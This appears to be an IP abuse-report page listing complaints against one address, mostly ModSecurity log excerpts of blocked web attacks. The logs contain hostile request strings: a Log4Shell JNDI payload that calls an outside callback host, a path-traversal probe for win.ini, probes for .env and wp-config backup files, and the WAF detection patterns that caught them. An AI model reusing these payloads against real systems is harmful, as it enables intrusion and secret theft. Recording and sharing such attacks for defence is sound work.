|
Anonymous
|
|
| A web attack returned code 200 (success).
|
Web App Attack
Hacking
SQL Injection
|
|
|
🇺🇸
TPI-Abuse
|
|
(mod_security) mod_security (id:210492) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:210492) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Apr 02 12:19:41.945884 2026] [security2:error] [pid 18155:tid 18206] [client 38.154.191.241:40259] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "kettlehill.com"] [uri "/wp-config.php-backup"] [unique_id "ac6XHYRDXvwztGqRaJt5vwAAARU"], referer: https://www.kettlehill.com/wp-config.php-backup
show less
|
Brute-Force
Bad Web Bot
Web App Attack
|
|
|
🇧🇬
Stoyko Stoykov
|
|
38.154.191.241 - - [18/Mar/2026:22:40:42 +0200] "GET /..../..../..../..../..../..../..../..../..../w ...
show more
38.154.191.241 - - [18/Mar/2026:22:40:42 +0200] "GET /..../..../..../..../..../..../..../..../..../windows/win.ini HTTP/1.1" 404 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
...
show less
|
Hacking
Web App Attack
|
|
|
🇮🇹
Pengu
|
|
Web application attack blocked by WAF
|
Web App Attack
|
|
|
🇺🇸
TPI-Abuse
|
|
(mod_security) mod_security (id:248270) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:248270) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sun Feb 01 06:21:09.008885 2026] [security2:error] [pid 16723:tid 16829] [client 38.154.191.241:45043] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at ARGS:x. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||www.kettlehill.kettlehill.com:80|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.kettlehill.kettlehill.com"] [uri "/"] [unique_id "aX83Jf0s_0SzhyBvLdiuvAAAAxg"], referer: ${jndi:ldap://127.0.0.1#.${hostName}.referer.d5vjdnq4eq3dbl1dehe0nar5nmtaknkpa.rsfi.info}
show less
|
Brute-Force
Bad Web Bot
Web App Attack
|
|
|
🇺🇸
TPI-Abuse
|
|
(mod_security) mod_security (id:210730) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:210730) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Jan 16 02:29:39.214502 2026] [security2:error] [pid 22599:tid 22599] [client 38.154.191.241:51247] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||ftp.nbcnewsradio.com|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "ftp.nbcnewsradio.com"] [uri "/config.php.bak"] [unique_id "aWno42fO8zYE2rkBmvxrogAAAAk"]
show less
|
Brute-Force
Bad Web Bot
Web App Attack
|
|
|
🇺🇸
TPI-Abuse
|
|
(mod_security) mod_security (id:210492) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:210492) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Dec 02 18:26:38.021209 2025] [security2:error] [pid 19257:tid 19257] [client 38.154.191.241:38907] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "webdisk.farmers123.com"] [uri "/.env.production"] [unique_id "aS91rpUiyyJ0U_4PSGfASQAAAA4"]
show less
|
Brute-Force
Bad Web Bot
Web App Attack
|
|
|
🇺🇸
TPI-Abuse
|
|
(mod_security) mod_security (id:210492) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:210492) triggered by 38.154.191.241 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Nov 12 11:53:07.790723 2025] [security2:error] [pid 28515:tid 28515] [client 38.154.191.241:36021] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "nbcnewsradio.com"] [uri "/.env.production"] [unique_id "aRS7c3T5tyR8hROQVh7m7QAAAAc"]
show less
|
Brute-Force
Bad Web Bot
Web App Attack
|
|
|
🇩🇪
SCHAPPY
|
|
IP was involved in L7 DDoS attack.
|
DDoS Attack
|
|
|
Anonymous
|
|
Port Scanning
|
Port Scan
|
|
|
🇺🇸
nowyouknow
|
|
|
Phishing
Web Spam
|
|